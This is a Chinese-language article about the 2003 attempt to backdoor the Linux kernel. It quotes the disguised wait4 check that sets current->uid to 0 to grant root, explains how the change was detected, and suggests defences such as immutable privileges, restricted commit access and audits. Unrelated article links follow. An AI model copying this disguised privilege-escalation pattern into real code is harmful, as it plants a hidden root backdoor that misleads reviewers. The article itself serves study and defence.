写点什么

回顾 Linux 内核后门

  • 2013-12-29
  • 本文字数:1138 字

    阅读完需:约 4 分钟

由于最近大众对美国国家安全局(NAS)的关注,人们的注意力转移到后门程序上。对于不熟悉该术语的人们,后门是一种有意在操作系统或软件中植入的漏洞,允许未授权的用户访问系统。在 2003 年曾经有人试图向 Linux 内核植入后门,虽然被发现了,但是这表明不论看上去多普通的变更都会引入漏洞,以及源码控制管理的重要性。

Corbet 在 LVN.Net 的文章中首次提到以下这段代码,它把自己伪装成类似 wait4 函数的参数校验。

复制代码
if((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

正常情况下没有任何影响,但是如果调用程序故意传入非法值,if 表达式的第二部分就会执行。该部分会将程序的用户 ID(current->uid)设为 0, 在 Linux 中就是 root 用户。

一眼看上去这就像是一个简单的代码错误,开发人员经常疏忽将’==‘写成’=’。虽然你认为函数 wait4 不应该与用户 ID 有任何关系,但是很明显这是故意为为之。

Corbet 描述了该后门是如何被发现的

CVS 库中的每个变更都会包含反向链接信息,表明与 BitKeeper 中的变更相同。有问题的变更缺少这样的信息,所以很快就能辨认出来。 试图通过这种方式进行变更是很可疑的,至少可以这么说,所以我们非常关注变更请求到底是什么。

攻击者曾经再次向 BitKeeper 库的 CVS 克隆库中植入后门。他继续说道

CVS 代码库是从 BitKeeper 生成的,但是补丁程序进入 BitKeeper 代码库并不经过它。所以有问题的代码只会影响基于 CVS 代码库工作的用户。发行商使用的内核不是来自该库,这次事故也说明,问题代码能够驻留很长一段时间。

大家想象一下,如果有人向代码库发起这样的攻击,增加几行看上去很好的代码,实际上植入了一个后门,而代码库没有 Linux 内核团队的控制和严格检查,你如何保护自己不受攻击。

一种方式是在应用程序中创建自己的“内核”,只有这段代码可以改变用户的角色和权限。其他的代码只是获取到用户权限的只读视图,这样他们就不能轻易得获取 root 权限。

在这样的模型中,"current->uid=0"这样的代码不会编译。如果任何人想实施攻击,或是直接修改应用程序的安全模块,但是我们会密切关注这样的修改,或是使用反射的伎俩,但是反射代码肯定比简单的赋值操作更容易被察觉到。

如果语言层面支持,一种更好的方式是使用户权限完全不可变。这种方式能够更大程度限制攻击发生的地方,只能是创建权限的地方。

这些措施应该配合对源码控制服务器的限制进行实施。一是限制尽可能少的人向主分支中提交代码,而不是过于开放;二是安全敏感代码默认应该完全锁定,只能根据问题具体情况授予编辑权限,实施的具体方法依赖此人是否使用分布式或集中式的源码控制以及具体的产品。

如果没有在变更代码成为产品之前进行审计,最终这些技术都会失效,这些措施只能减少审计疏漏问题发生的可能性。

2013-12-29 22:134972
用户头像

发布了 28 篇内容, 共 12.4 次阅读, 收获喜欢 0 次。

关注

评论

发布
暂无评论
发现更多内容

Mural在线白板最全解析!Mural功能|发展历程|替代软件推荐!

彭宏豪95

科技 在线白板 办公软件 在线协作 效率软件

双十一 |顺应平台趋势,在数据中寻找更多生意机会

赛博威科技

数据分析 双十一 电商大促

分布式系统硬件资源池原理和接入实践

HarmonyOS开发者

HarmonyOS

Python必备:Pandas中rolling方法指南

秃头小帅oi

前端 爬虫 pandas Python Monad rolling

当我跑越野时,我在想为什么

escray

技术人写作 21 天技术人写作行动营 21 天

直播预告 | 降本增效持续深化,如何找准 FinOps 关键着力点?

小红书技术REDtech

云原生 成本优化 FinOps

输出内容价值 | 极客写作训练营

6点无痛早起学习的和尚

代码坏味道

为什么要少写代码?去掉代码的核心逻辑是什么?

代码生成器研究

2023,“科技无障碍”不谈价值观

脑极体

AI

[译]原生CSS嵌套使用

南城FE

CSS 前端 预处理器 嵌套

小程序开发实战案例之二|如何实现小程序支付

盐焗代码虾

支付宝小程序 支付 小程序支付

行业首家!百度通过DCMM 4级乙方云服务商最高认证,数据管理能力行业领先

百度安全

鸿蒙开发丨设备内UIAbility的几种交互方式

华为云开发者联盟

鸿蒙 后端 开发 华为云 华为云开发者联盟

虾皮商品详情接口在电商行业的重要性及实时数据获取实现

Noah

HashMap超全源码详解(JDK1.8)

是月月啊2023

Java 面试题

工作以来最有成就感的事(深度思考)

Java 工程师蔡姬

21 天技术人写作行动营 #个人总结 #工作总结 #最有成就感的事 #职场思考

一种典型的负载均衡解决方案

极客罗杰

Wireshark中的http协议包分析

小魏写代码

只要你想,你就能找到一种方法

学渣汪在央企打怪升级

《NGINX 完全指南》章节精选 | 流量管理和可编程性

NGINX开源社区

A/B 测试 流量管理 可编程性 限制速率 通用编程语言

超越节点引擎临界:华为云NES颠覆游戏规则

云计算 华为云

SQL 数据库语句- 创建和管理数据库

秃头小帅oi

sql

您距离一个成熟安全的 DevOps 平台,只差一个迁移

极狐GitLab

DevOps gitlab Atlassian Gartner Bamboo

英特尔是如何实现玻璃基板的?

E科讯

Java——编程语言中的王者

伤感汤姆布利柏

Java 后端 低代码

一体化IT运维管理系统选哪家?理由是什么?

行云管家

运维 IT运维 安全运维 一体化运维

SQL 数据库语句- 创建和管理数据库

小万哥

MySQL 数据库 程序员 sql 后端开发

卫龙 x 赛博威 | 为民族品牌数字化建设添砖加瓦

赛博威科技

营销费用管理 赛博威 卫龙

XSKY SDS V6.3 版本发布:持续强化非结构化存储和管理能力

XSKY星辰天合

软件定义存储

回顾Linux内核后门_安全_Jonathan Allen_InfoQ精选文章